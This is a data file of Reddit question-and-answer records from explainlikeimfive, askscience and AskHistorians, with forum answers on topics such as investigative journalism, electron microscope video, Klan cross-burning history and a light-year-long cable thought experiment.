{"q_id": "3vbs2j", "title": "why is \"investigative journalism\" considered dead?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vbs2j/eli5_why_is_investigative_journalism_considered/", "answers": {"a_id": ["cxm35rn", "cxm3au6", "cxm4qed", "cxm5a0i", "cxm9luz", "cxma5mn", "cxmazi4"], "score": [3, 37, 2, 27, 3, 8, 9], "text": ["Lots of effort for stuff that doesn't get a lot of views. It ends up costing more to pay reporters than it earns from advertising dollars, making it not financially sustainable.", "Media outlets care more about driving ad revenue/profits, and get that by running listicles, clickbait, celebrity news, etc. rather than paying people to take lots of time to research and write lengthy, serious articles about important issues.", "There are still plenty of good investigative journalists, however, they mostly work in print journalism (which is dying itself) and operate at more local levels.  Places like CNN only care about the money. They have stooped to lazy, speculative \"news\" rather than using patience and caution to get real answers. ", "There is no money for it anymore.\n\nOriginally almost all investigative stuff was driven by newspapers. They'd pay a reporter to spend months or *years* digging into something. That was their big draw, that in-depth long-form news. These days that's just not possible for them, and that's one of the reasons they're doomed.\n\nSo who else? Online? Their profit margins are thin as paper. All the clickbait stuff we make fun of...The reason they do that is because that's what they can *afford* to do, some zero source crap they cribbed from Twitter or Reddit. I mean, *Reddit* which puts ads on user produced content, isn't profitable. Those other guys are barely scraping by.\n\nTV? Theoretically they *could* do it, they have a decent amount of money still, but they've learned that they can better plant asses in seats by fanning up little bullshit controversies and having a talking head spend hours bullshitting about it. How much does it cost to have a guy up there reading what people are tweeting about the story of the day, and talking hypothetical bullshit that has no basis in fact with their perky co-host?\n\nSo yea, it's pretty dead. There are still a few outlets out there that do some, but it's nothing like it used to be. It'll probably even out once people have figured out how to monetize stuff like that again.", "It was murdered.  I don't mean that as a joke.  Many media were bought by the same few companies/individuals mostly in the 90s and investigative reporting was simply gotten rid of.  \n\nWhat really burns me up is the sales were hostile buyouts.  They weren't really for sale.  I believe it was a majority stockholder type of thing.\n\nAnother fun fact I've heard.  Most of our media is owned by people who either have dual citizenship or don't even live in this country, although they must be American citizens.  One of the biggest became a citizen just so he could buy media.", "Imagine you're walking through an apple orchard.\n\nThere are apples everywhere.\n\nOn the branches at the top of the tree, are golden, juicy, perfect apples. Everybody wants one of these apples, this is what everybody's idea of an apple is. This is what an apple should be. But it's super hard to get to, a lot of effort, time, and for some people all the time and effort isn't worth that one delicious apple. This is investigative journalism\n\nOn the low branches are small, not yet ripe apples, that are edible but no one really likes. They are easy to grab, easy to eat, but not very filling. However, you can eat a lot of them in a very short time; and trick yourself into thinking you now know what an apple tastes like. This is click-bait, celebrity gossip, daily news small time stuff that makes money.\n\nThen there are rotted apples on the ground. That's Buzzfeed", "As a journalist, I'd like to just point out here that the demise of investigative journalism is pretty overblown. There are still plenty of fantastic investigative pieces out there, you just need to know where to look (and probably more importantly where NOT to look...if you're watching *any* cable news channel, you fucked up. If you're reading any website with giant social media buttons, you fucked up).\n\nIt's true that it's less prevalent in print newspapers that are strapped for cash because it's tougher to afford. **But there are plenty of places still doing it.** It's just not in print as much these days. \n\nOne good new-media source of great investigative work is podcasts. NPR's top shows, like This American Life and Radiolab, will send reporters around the world and spend years sometimes working on stories, and the results are fantastic. \n\nAnother good newer-media source of investigative reporting is documentary film. A lot of investigative stories actually work better as film anyway, but until recently making a documentary film was totally different from doing an investigative written piece, and required hundreds of thousands of dollars in equipment. Now, you just give your reporter a DSLR, a microphone, and a couple days' training, and you can get the footage for an Oscar-level investigative documentary. \n\nIf you think about recent Oscar noms and winners like The Cove, Restrepo, Gasland, Citizenfour, even Inside Job...they're all basically investigative journalism. Sure, there's advocacy in some of those films as well, but if you go back to the 'glory days' of investigative journalism you'll find that there too - the source of most investigative pieces is always a reporter getting pissed about something and wanting to reveal it to the world. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "5prqet", "title": "how do the rich help our economy?", "selftext": "Not specifically trickle-down economics, but how does having a wealthy upper class help the general public economically?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5prqet/eli5how_do_the_rich_help_our_economy/", "answers": {"a_id": ["dctafl0", "dctcnwe"], "score": [8, 3], "text": ["In Theory, rich people are often employers. They create jobs, which employs people who draw a salary from said jobs.\n\nFurther, they spend more money on goods and services, which indirectly pays salaries of other people.", "I'd add that the idea that people can become and stay rich is very beneficial. Money is a huge motivator. People are willing to work hard, take risks, try new ideas, and build new businesses/products for a chance of earning a lot of money. If you remove that possibility, or punish success (either through very high taxes or other means) then many people will not be incentivized(?) to work as hard."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5xh1me", "title": "analogy for units of measuring, regarding electricity.", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5xh1me/eli5_analogy_for_units_of_measuring_regarding/", "answers": {"a_id": ["dehzwkx", "dei02yu"], "score": [3, 3], "text": ["Electricity works in almost the same way as flowing water.\n\nVoltage is sort of like how hard water is being pushed. So imagine water flowing down a gentle slope vs. water flowing down a steep slope. The water flowing down the steep slope has more force pushing it, so it has a higher \"voltage\". In an electrical circuit, it's basically how hard the electrons are being pushed.\n\nAmpage (measured in amps) is like the volume of water that's flowing. So a big wide river has more \"amps\" than a small narrow stream because it carries more water. Increasing the voltage also increases the amps, because now the water will flow faster through that river. In an electrical circuit, more amps means more electrons are flowing.\n\nNow imagine there's a dam on the river. That resists the flow so not as much water can go through. This is like how increasing the resistance in an electrical circuit lowers the amps.\n\nWattage is the power. It's how much energy you can get out of the circuit per second. Imagine a water wheel on a river. Either increasing the amount of water that can flow or pushing the water harder will increase the amount of power to the wheel.", "If electricity is like flowing water...\n\nVoltage is water pressure\n\nAmperage is flow volume\n\nHigh voltage and low amperage (a static rug shock) is like a dental water pik. Can hurt locally but doesn't normally cause widespread damage. \n\nHigh amperage but low voltage (a bank of d-cell batteries in parallel) is like a flooding basement. Not going to knock you over but can cause residual damage over a longer term.\n\nHigh voltage and high amperage (a power line) is like a fire hose at full nozzle. Knock you down, maybe injure or kill you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "nx7hh", "title": "Why are there only still images taken from an Electron Microscope? Why no videos?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nx7hh/why_are_there_only_still_images_taken_from_an/", "answers": {"a_id": ["c3cnyhu", "c3coe5y", "c3cow8g", "c3cpfhu", "c3crbd3", "c3cnyhu", "c3coe5y", "c3cow8g", "c3cpfhu", "c3crbd3"], "score": [6, 5, 37, 14, 3, 6, 5, 37, 14, 3], "text": ["This is not my field of expertise, but here is an [interesting article](_URL_0_) about some scientists that are actually trying to do 4D electron microscopy (and link to the [abstract](_URL_1_); if you want a whole copy of the article, let me know and I can dig it up and send it.  \n\nRelevant explanation from the article:\n > The electrons in transmission and scanning electron microscopy are sent out in discrete packets and are not continuous like waves of light, so they can only detect shapes to produce one image at a time. \n\n", "In scanning electron microscopy the beam of electrons only measures one point on the specimen at a time not a complete image of the specimen.", "There are videos. In materials there's a lot of in-situ work studying the behaviour of materials as a function of applied force or radiation (i.e. defect mobility). In the TEM a parallel beam of electrons are used to illuminate the sample and we have cameras capabale of recording up to ~25Hz. In a SEM, the beam is scanned across the sample in a raster (like an old CRT) so you can have time lapse videos of a sort.\n\nThe biggest problem for the sort of video work you are probably thinking of is that typically EM must be performed in a vacuum. This means that most biological life will be dead when we observe. In TEM however there's been some really neat work using wet cells. These cells consist of two 40nm thick sheets of GaN, which are electron transparent, and then filling the centre with a reaction environment. Alternatively you could use a variable pressure TEM, with the sample at a reduce pressure and the electron gun in a much higher vacuum. \n\nAll of these 'options' increase cost, make the experiment more difficult, and degrade the signal quality. Furthermore, if you select your post mortem shots carefully (i.e. design an elegant experiment) you can understand most processes fully without the in-situ experiment.\n\nHowever, for a sense of wonder and excitement (but often only a qualitiative understanding) in-situ is pretty neat!\n\nSome links for more info:\n_URL_4_\n\n_URL_2_\n_URL_1_\n_URL_3_\n\nA good round up [ppt](_URL_0_) of in-situ work.\n\n", "This is my field of expertise, and this is false. I posted an [EM video](_URL_0_) just the other day. They are taken occasionally, but they aren't that useful. Electron microscopes are primarily used by materials scientists, and they are interested in the structure of a material. They are also interested in the reactions which their material can undergo, however, such reactions generally do not occur in the kinds of environments that exist inside an electron microscope. An electron microscope requires an ultra-high vacuum and as little liquid or volatile material as possible. The typical reactions of materials and chemical species, however, tend to happen in environments conducive to a laboratory, viz., atmospheric pressure, in solution, etc. Putting such species into an electron microscope would cause it to malfunction. Catastrophically. The most informative images therefore come from static non-volatile chemical species.", "There are several types of electron microscopes.  One type that nobody has mentioned so far is the low energy electron microscope, which primarily uses a real-time movie-mode.  People use it to grow and study thin films.\n\nFor instance: _URL_0_", "This is not my field of expertise, but here is an [interesting article](_URL_0_) about some scientists that are actually trying to do 4D electron microscopy (and link to the [abstract](_URL_1_); if you want a whole copy of the article, let me know and I can dig it up and send it.  \n\nRelevant explanation from the article:\n > The electrons in transmission and scanning electron microscopy are sent out in discrete packets and are not continuous like waves of light, so they can only detect shapes to produce one image at a time. \n\n", "In scanning electron microscopy the beam of electrons only measures one point on the specimen at a time not a complete image of the specimen.", "There are videos. In materials there's a lot of in-situ work studying the behaviour of materials as a function of applied force or radiation (i.e. defect mobility). In the TEM a parallel beam of electrons are used to illuminate the sample and we have cameras capabale of recording up to ~25Hz. In a SEM, the beam is scanned across the sample in a raster (like an old CRT) so you can have time lapse videos of a sort.\n\nThe biggest problem for the sort of video work you are probably thinking of is that typically EM must be performed in a vacuum. This means that most biological life will be dead when we observe. In TEM however there's been some really neat work using wet cells. These cells consist of two 40nm thick sheets of GaN, which are electron transparent, and then filling the centre with a reaction environment. Alternatively you could use a variable pressure TEM, with the sample at a reduce pressure and the electron gun in a much higher vacuum. \n\nAll of these 'options' increase cost, make the experiment more difficult, and degrade the signal quality. Furthermore, if you select your post mortem shots carefully (i.e. design an elegant experiment) you can understand most processes fully without the in-situ experiment.\n\nHowever, for a sense of wonder and excitement (but often only a qualitiative understanding) in-situ is pretty neat!\n\nSome links for more info:\n_URL_4_\n\n_URL_2_\n_URL_1_\n_URL_3_\n\nA good round up [ppt](_URL_0_) of in-situ work.\n\n", "This is my field of expertise, and this is false. I posted an [EM video](_URL_0_) just the other day. They are taken occasionally, but they aren't that useful. Electron microscopes are primarily used by materials scientists, and they are interested in the structure of a material. They are also interested in the reactions which their material can undergo, however, such reactions generally do not occur in the kinds of environments that exist inside an electron microscope. An electron microscope requires an ultra-high vacuum and as little liquid or volatile material as possible. The typical reactions of materials and chemical species, however, tend to happen in environments conducive to a laboratory, viz., atmospheric pressure, in solution, etc. Putting such species into an electron microscope would cause it to malfunction. Catastrophically. The most informative images therefore come from static non-volatile chemical species.", "There are several types of electron microscopes.  One type that nobody has mentioned so far is the low energy electron microscope, which primarily uses a real-time movie-mode.  People use it to grow and study thin films.\n\nFor instance: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://arstechnica.com/science/news/2010/04/review-taking-videos-with-ultrafast-electron-microscopy.ars", "http://www.sciencemag.org/content/328/5975/187"], [], ["http://www.google.co.uk/url?sa=t&amp;rct=j&amp;q=tem%20wet%20cell%20gan%20in-situ%20chiou&amp;source=web&amp;cd=1&amp;ved=0CB0QFjAA&amp;url=http%3A%2F%2Fwww.ciasem.com%2FPSD%2FPASI%2520PPT%2FChiou%25204%2520IN%2520SITU%2520\\(WET\\)%2520ENVIRONMENTAL%2520TEM%2C%2520PASI%2520pub%252007-21-06.ppt&amp;ei=oNn-ToaBE4qf8gOK_N2eBA&amp;usg=AFQjCNENDKb5fD3Gvq1fo7hd6dtzPbkZFA&amp;sig2=5dkDnY4019bxE4nYOhufow", "http://www.youtube.com/watch?v=zKzcX9K8CA0", "http://www.youtube.com/watch?v=TaNCWcumeyg", "http://www.youtube.com/watch?v=yL9LRTEibX4", "https://www-pls.llnl.gov/?url=science_and_technology-materials-dtem"], ["http://www.youtube.com/watch?v=V1qWmrp6GAs"], ["http://www.eurekalert.org/multimedia/pub/12295.php?from=130726"], ["http://arstechnica.com/science/news/2010/04/review-taking-videos-with-ultrafast-electron-microscopy.ars", "http://www.sciencemag.org/content/328/5975/187"], [], ["http://www.google.co.uk/url?sa=t&amp;rct=j&amp;q=tem%20wet%20cell%20gan%20in-situ%20chiou&amp;source=web&amp;cd=1&amp;ved=0CB0QFjAA&amp;url=http%3A%2F%2Fwww.ciasem.com%2FPSD%2FPASI%2520PPT%2FChiou%25204%2520IN%2520SITU%2520\\(WET\\)%2520ENVIRONMENTAL%2520TEM%2C%2520PASI%2520pub%252007-21-06.ppt&amp;ei=oNn-ToaBE4qf8gOK_N2eBA&amp;usg=AFQjCNENDKb5fD3Gvq1fo7hd6dtzPbkZFA&amp;sig2=5dkDnY4019bxE4nYOhufow", "http://www.youtube.com/watch?v=zKzcX9K8CA0", "http://www.youtube.com/watch?v=TaNCWcumeyg", "http://www.youtube.com/watch?v=yL9LRTEibX4", "https://www-pls.llnl.gov/?url=science_and_technology-materials-dtem"], ["http://www.youtube.com/watch?v=V1qWmrp6GAs"], ["http://www.eurekalert.org/multimedia/pub/12295.php?from=130726"]]}
{"q_id": "70t9hl", "title": "How reliable is August Kubizek's account of his friendship with the young Adolf Hitler before WWI considered to be?", "selftext": "I'm referring to his book *The Young Hitler I Knew* published in 1955. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/70t9hl/how_reliable_is_august_kubizeks_account_of_his/", "answers": {"a_id": ["dngjglw"], "score": [2], "text": ["Not exactly what you asked, but [this old answer of mine](_URL_0_) seems relevant for you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3in323/does_anyone_know_the_human_side_of_hitler/cuhwl8d/"]]}
{"q_id": "1ru9u2", "title": "What was/is the significance of cross burning at klan rallies? What, if anything, does it signify or represent?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ru9u2/what_wasis_the_significance_of_cross_burning_at/", "answers": {"a_id": ["cdr24n3", "cdr2bz1"], "score": [95, 133], "text": ["Someone can probably answer this better than I can, but from what I've read much of the traditions of the modern clan date back to 1915 when the movie Birth of a Nation came out. It was based on a book/play called The Clansmen which borrowed a bit from the Scottish lore of Sir Walter Scott. The cross-burning itself is based on a Scottish call-to-arms which appears in The Lady of the Lake. Basically a small cross was lit on fire and the dipped in blood to extinguish it. The burnt, bloodied cross was then passed along a chain of Scottish clansmen, who would drop everything to deliver it to the next person. It was a quick was of getting the word out that it's time to fight.\n\nMostly unrelated fun fact: Frederick Douglass took his last name from a character in a The Lady of the Lake.", "The Supreme Court ruled on first amendment issues concerning cross burning in *Virginia v. Black*, 538 US 343 (2003) - the opinion's factual background gives some insight into the reasoning. Essentially, the roots of the practice date back to \"the 14th century as a means for Scottish tribes to signal each other\" (Pt 2 of the opinion). \n\nThe following is taken directly from the opinion cited above, I removed the internal citations so that it would be formatted better for this post: The entire text of the opinion can be found [here](_URL_0_) \n\nAlso, all emphasis is mine - I tried to post as much as possible to give context, but wanted to highlight the primary points that seem to show the actual purpose the cross being burned and also show the historical context for how it developed as a symbol \n\n\"The first Ku Klux Klan began in Pulaski, Tennessee, in the spring of 1866. Although the Ku Klux Klan started as a social club, it soon changed into something far different. The Klan fought Reconstruction and the corresponding drive to allow freed blacks to participate in the political process. Soon the Klan imposed \"a veritable reign of terror\" throughout the South. The Klan employed tactics such as whipping, threatening to burn people at the stake, and murder. The Klan's victims included blacks, southern whites who disagreed with the Klan, and \"carpetbagger\" northern whites.\n\n[...] By the end of Reconstruction in 1877, the first Klan no longer existed.\n\nThe genesis of the second Klan began in 1905, with the publication of Thomas Dixon's The Clansmen: An Historical Romance of the Ku Klux Klan. Dixon's book was a sympathetic portrait of the first Klan, depicting the Klan as a group of heroes \"saving\" the South from blacks and the \"horrors\" of Reconstruction. **Although the first Klan never actually practiced cross burning, Dixon's book depicted the Klan burning crosses to celebrate the execution of former slaves.** \n\n\nCross burning thereby became associated with the first Ku Klux Klan. When D. W. Griffith turned Dixon's book into the movie The Birth of a Nation in 1915, the association between cross burning and the Klan became indelible. In addition to the cross burnings in the movie, a poster advertising the film displayed a hooded Klansman riding a hooded horse, with his left hand holding the reins of the horse and his right hand holding a burning cross above his head. **Soon thereafter, in November 1915, the second Klan began.**\n\nFrom the inception of the second Klan, cross burnings have been used to communicate both threats of violence and messages of shared ideology. **The first initiation ceremony occurred on Stone Mountain near Atlanta, Georgia. While a 40-foot cross burned on the mountain, the Klan members took their oaths of loyalty.** This cross burning was the second recorded instance in the United States. **The first known cross burning in the country had occurred a little over one month before the Klan initiation, when a Georgia mob celebrated the lynching of Leo Frank by burning a \"gigantic cross\" on Stone Mountain that was \"visible throughout\" Atlanta\"** (Note: I can't find the specific comment but there was a link to a site that had more information on the Leo Franks lynching in the thread on the most disturbing things people had discovered in their study of history. The lynching of Leo Franks is often considered a pivotal moment because of the brutality. The spread of how Leo Franks was treated brought a great deal of awareness across the country about lynchings) \n\n\nBeyond being used in their initiation practices the cross burning also has an official  meaning within the group's practices: **According to the Klan constitution (called the kloran), the \"fiery cross\" was the \"emblem of that sincere, unselfish devotedness of all klansmen to the sacred purpose and principles we have espoused.\"** The Ku Klux Klan Hearings before the House Committee on Rules, 67th Cong., 1st Sess., 114, Exh. G (1921)\n*End Quote*\n\n\n\nFinally, I can't find a source for this one, but I've read that it also is supposed to signify \"God's burning presence\" and that's why it is primarily used at night. The cross being lit at night is a symbolic statement of their belief that God will light up the darkness that has taken over the world. \n\nEdit: Made some formatting better so there was less \"wall o'text\" at the top "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://scholar.google.com/scholar_case?case=2729037874515332053&amp;hl=en&amp;as_sdt=6&amp;as_vis=1&amp;oi=scholarr"]]}
{"q_id": "aikx2m", "title": "why is lowering the age criminal responsibility from 15 to 9 years old an anti-poor thing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aikx2m/eli5_why_is_lowering_the_age_criminal/", "answers": {"a_id": ["eeohmhi", "eeohrq4", "eeok8s1"], "score": [12, 10, 4], "text": ["I'm just speculating here: I guess that stealing (food and stuff like that) is a lot more common with poor people. If the criminal responsibility is 15, children can steal food with 'little' risk. Lowering the age results in the children not being able to steal without big consequences I think.", "Because 9 year old kid is very, very likely to get into trouble.\n\nIf he is poor, he likely does not have extracuricular activites to get him out of trouble. And parents will be owrking longer hours and not be present there to watch over him.\n\nPoor family will not be able to have his back at courts.\n\nRich family will likely have access to plenty of ways to shelter kids form any possible fallout and be more likey to keep them for getting into trouble in first place.", "I think it's important to know what \"lowering the age of criminal responsibility from 15 to 9 actually means. Does that mean a 10-year-old that tosses a rock through a window is going to be tried and convicted as an adult? If 12-year-old me lifts a bag of taro crisps or something from the local convenience store, am I going to jail?\n\nWithout this point, I have to think that /u/ondaheightsofdespair has identified the reasoning behind it, preventing kids from being used by criminal organizations because the child can't be held responsible by the law. Poor kids that see older gang member wearing lots of bling are going to really attract them to that lifestyle, and being promised easy money for \"running a few errands\" is going to be super-appealing. If the gang members can get away without being prosecuted for using \"child soldiers\" for their own purposes, of course they're going to.\n\nThe problem is when this new law gets abused by grumpy rich citizens to deal with those noisy dusty brats that are always playing football in the street outside their mansion. I'd hate to be a cop in that sort of situation. Nobody wins except maybe the old fucker."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3uom1c", "title": "when border patrol or airport security damage your luggage or vehicle looking for illegal substances but find nothing, do they then have to reimburse the traveler for the damage caused?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3uom1c/eli5_when_border_patrol_or_airport_security/", "answers": {"a_id": ["cxgjpmx", "cxgn8ic"], "score": [4, 2], "text": ["Nope. You can possibly make a claim if officers acted incorrectly (may depend on the country), but the fact that nothing was found doesn't mean they did anything wrong (you don't need 100% certainty to search, and if you did have it you wouldn't need to bother searching). The government doesn't need to pay you if them doing their job properly damaged your property. ", "TSA destroyed my luggage once. They sliced the back side open, even though my suitcase wasn't locked, and had no internal lining. When I got it off the conveyor, there was a \"TSA Sceened your luggage\" note slipped into the opening. \n\nI filed a claim with Delta, and they not only gave me a duffel bag to take my things home in, they also shipped me a new replacement suitcase. \n\nSo, I guess TSA didn't actually replace it, but it was taken care of. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "64wgn3", "title": "A conductive cable over a light-year long is connected to a positive  &  negative pole, how long until current flows?", "selftext": "Assuming an infinitely large power source for the current. What would the electrical dynamics be if a cable capable of carrying the current from the (-) end to the (+) end starting the second of creating the complete circuit?   \nDo these electrical dynamics breakdown at some point of scale?       \nAt this scale could we watch the 'flow' of electricity? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/64wgn3/a_conductive_cable_over_a_lightyear_long_is/", "answers": {"a_id": ["dg5rtnz", "dg5tg8f", "dg5tsio"], "score": [22, 7, 3], "text": ["The current would start to flow as soon as the circuit is completed, but it would travel at a finite propagation speed.\n\nElectrodynamics doesn't break down, but basic circuit theory does. Circuit theory is just a simplified way to look at electrical circuits without solving Maxwell's equations every time. You make certain assumptions, for example in small circuits you neglect the propagation time of electrical signals.\n\nIn larger circuits, and definitely in this hypothetical situation you've proposed, you need to consider the finite propagation speed of electrical signals. You have to really solve Maxwell's equations to see how this system will behave. What you'll find is that the electrical signal (voltage or current) obeys some kind of wave equation, where the wave speed is related to the capacitance and inductance of the cable. The signal will propagate like a wave down the cable with some speed v, and it will reach the other end after a time delay of L/v, where L is the length of the cable.", "As RobusEtCeleritas says it will start flowing immediately. But the very long cable would not appear to the power source as a 'wire' from the plus to the negative side. It will just appear as a sort of 'vat' in which it can release and dump its charge. Normally, if you connect a meter long wire a similar thing would happen as well. HOWEVER, as charge accumulates in the 1m long wire if it is not connected, a charge accumulation will build up an electric potential in the cable which will oppose the terminal potential and the flow will stop. As charges spread through the light year long cable, the charge buildup in the cable will make it harder and harder for the electrons to leave the source. An electron, trying to leave the current source, sees more and more charge ahead of himself which will make it harder and harder for it to leave the source. So the current at first will be very large and it will start decaying. After a certain while, when the charges reach the end of the cable (after a couple of years) only a tiny tiny tiny current will be left as the potential is distributed evenly throughout the cable which makes the local electric field in the cable, driving the charges, almost negligible.\n\nThis is a very expensive way of saying: a light year long cable has an incredible resistance and the steady state current is almost 0. Only in the beginning a surge current will flow which will settle in the the cable to its steady state value. ", " > At this scale could we watch the 'flow' of electricity?\n\nYes.   Really all we're getting at is the much more mundane situation of transient response.  Take for example a transistor, billions of which are the basis of the computer you're using right now, your CPU has a clock rate, say 2 GHz, the higher the clock rate, the faster the computer.  The clock rate, amongst other issues, is bottlenecked at the actual physical time it takes to push and pull electrons into and out of a MOSFET transistor. At a GHz clock rate, you have to be able to do it in a fraction of a billionth of a second.  \n\nElectricity and circuits have a time scale to them that is a part of everyday electrical engineering.  Transient analysis of circuits is an entire field of electrical engineering.  Current does not flow instantaneously and it's not something that only matters in heady thought experiments on light-year long poles.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ntrb6", "title": "Would wearing weights on your arms and legs throughout the day or during a workout benefit you in any significant way?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ntrb6/would_wearing_weights_on_your_arms_and_legs/", "answers": {"a_id": ["c3bv4qn", "c3bvacr", "c3bw0cr", "c3by65p", "c3byxp0", "c3c0qjd", "c3bv4qn", "c3bvacr", "c3bw0cr", "c3by65p", "c3byxp0", "c3c0qjd"], "score": [196, 32, 26, 8, 17, 3, 196, 32, 26, 8, 17, 3], "text": ["Moderator's note: fitness related threads are not an open invitation for people to speculate or share personal experience. Please wait for the experts.", "As an instructor at a martial arts studio for a year, I can easily say that adding weight will increase the amount of calories you burn. If your main attempt is to build muscle mass, then your workout will have to reflect as such with less cardio exercises, and more strength training. If you increase the total amount of mass carried by your body, you will undergo a somewhat more intensive workout.\n\nI will note that the increased strain will be detrimental to the total time you could hypothetically spend exercising, if you were to continue until muscle failure. That is: If you throw those weights on, you might end your session before you truly hit your limit. You will hit it faster though, if that's your intent.", "I remember reading a study about Hyperplasia and how attaching a small weight to a birds wing increased the amount of muscle fibers of the bird after a month. Perhaps inducing muscle hyperplasia in humans could be what you are after?  _URL_0_", "This is somewhat related, but how would exposure to heavier-than-earth gravity effect the body over long periods of time (say on the scale of years)? At what point would we adapt and burn more calories on a daily basis, and at what point would our bodies not be able to handle the strain? At 1.5 Gs? 3 Gs? 5 Gs? 10 Gs?\n\nWhat effect could then returning to 1 G have on our bodies?\n\nIs this at all related to our relative size compared to the pull of gravity (i.e. over generations would environmental pressure favor us to shrink in size rather than burn more calories)?", "American Council of Exercise certified personal trainer here. Adding weights on your arms and legs, depending on the size of the load and the type of lifestyle you carry (I assume somewhat sedentary, what with being on Reddit and all), can be a minor but negligible benefit. The only plus is that studies show that these weights make little difference in perceived exertion during exercise. [Source 1](_URL_0_)\n\nHowever, all the research done on ankle/wrist weights have been done through treadmills and exercise; there is not much evidence of significant physiological benefits from a sedentary lifestyle in front of a computer. [Source 2](_URL_0_)\n\nTL;DR Depending on your existing exercise habits, there may be a marginal increase in strength and cardiovascular endurance.", "wearing weights during a workout is common for MMA athletes, although they usually opt for a weighted jacket as it doesnt restrict moment so much. \n\ni regulalry used to go out running with arm and leg weights, the leg weights are like running in sand, tho i would only do this twice a week as it is intensive on the knees.\nThe arm weights arm little use really if you keep your arms still so i would shadow box while running (although not with too many people around.. it feels a bit show off-ish).\n\nwearing them around during on a normal day will strengthen the deep muscles and postural muscles, kind of like being a heavily built guy does give you a natural strength from carrying around that weight all the time. i used to do it at work while training for a fight, it doesnt make a huge difference but it is something, and i would make sure i covered as full a range of movements as i could. like standing on one leg and circling the other - it does look a bit silly and your body not being used to having that constant strain on it certainly could increase your risk of injuries.\n\ntldr: basically its something but not great exercise and its inconvenient. i hope that helps. ", "Moderator's note: fitness related threads are not an open invitation for people to speculate or share personal experience. Please wait for the experts.", "As an instructor at a martial arts studio for a year, I can easily say that adding weight will increase the amount of calories you burn. If your main attempt is to build muscle mass, then your workout will have to reflect as such with less cardio exercises, and more strength training. If you increase the total amount of mass carried by your body, you will undergo a somewhat more intensive workout.\n\nI will note that the increased strain will be detrimental to the total time you could hypothetically spend exercising, if you were to continue until muscle failure. That is: If you throw those weights on, you might end your session before you truly hit your limit. You will hit it faster though, if that's your intent.", "I remember reading a study about Hyperplasia and how attaching a small weight to a birds wing increased the amount of muscle fibers of the bird after a month. Perhaps inducing muscle hyperplasia in humans could be what you are after?  _URL_0_", "This is somewhat related, but how would exposure to heavier-than-earth gravity effect the body over long periods of time (say on the scale of years)? At what point would we adapt and burn more calories on a daily basis, and at what point would our bodies not be able to handle the strain? At 1.5 Gs? 3 Gs? 5 Gs? 10 Gs?\n\nWhat effect could then returning to 1 G have on our bodies?\n\nIs this at all related to our relative size compared to the pull of gravity (i.e. over generations would environmental pressure favor us to shrink in size rather than burn more calories)?", "American Council of Exercise certified personal trainer here. Adding weights on your arms and legs, depending on the size of the load and the type of lifestyle you carry (I assume somewhat sedentary, what with being on Reddit and all), can be a minor but negligible benefit. The only plus is that studies show that these weights make little difference in perceived exertion during exercise. [Source 1](_URL_0_)\n\nHowever, all the research done on ankle/wrist weights have been done through treadmills and exercise; there is not much evidence of significant physiological benefits from a sedentary lifestyle in front of a computer. [Source 2](_URL_0_)\n\nTL;DR Depending on your existing exercise habits, there may be a marginal increase in strength and cardiovascular endurance.", "wearing weights during a workout is common for MMA athletes, although they usually opt for a weighted jacket as it doesnt restrict moment so much. \n\ni regulalry used to go out running with arm and leg weights, the leg weights are like running in sand, tho i would only do this twice a week as it is intensive on the knees.\nThe arm weights arm little use really if you keep your arms still so i would shadow box while running (although not with too many people around.. it feels a bit show off-ish).\n\nwearing them around during on a normal day will strengthen the deep muscles and postural muscles, kind of like being a heavily built guy does give you a natural strength from carrying around that weight all the time. i used to do it at work while training for a fight, it doesnt make a huge difference but it is something, and i would make sure i covered as full a range of movements as i could. like standing on one leg and circling the other - it does look a bit silly and your body not being used to having that constant strain on it certainly could increase your risk of injuries.\n\ntldr: basically its something but not great exercise and its inconvenient. i hope that helps. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.steroidology.com/muscle-fiber-hypertrophy-vs-hyperplasia/"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/3386506"], [], [], [], ["http://www.steroidology.com/muscle-fiber-hypertrophy-vs-hyperplasia/"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/3386506"], []]}
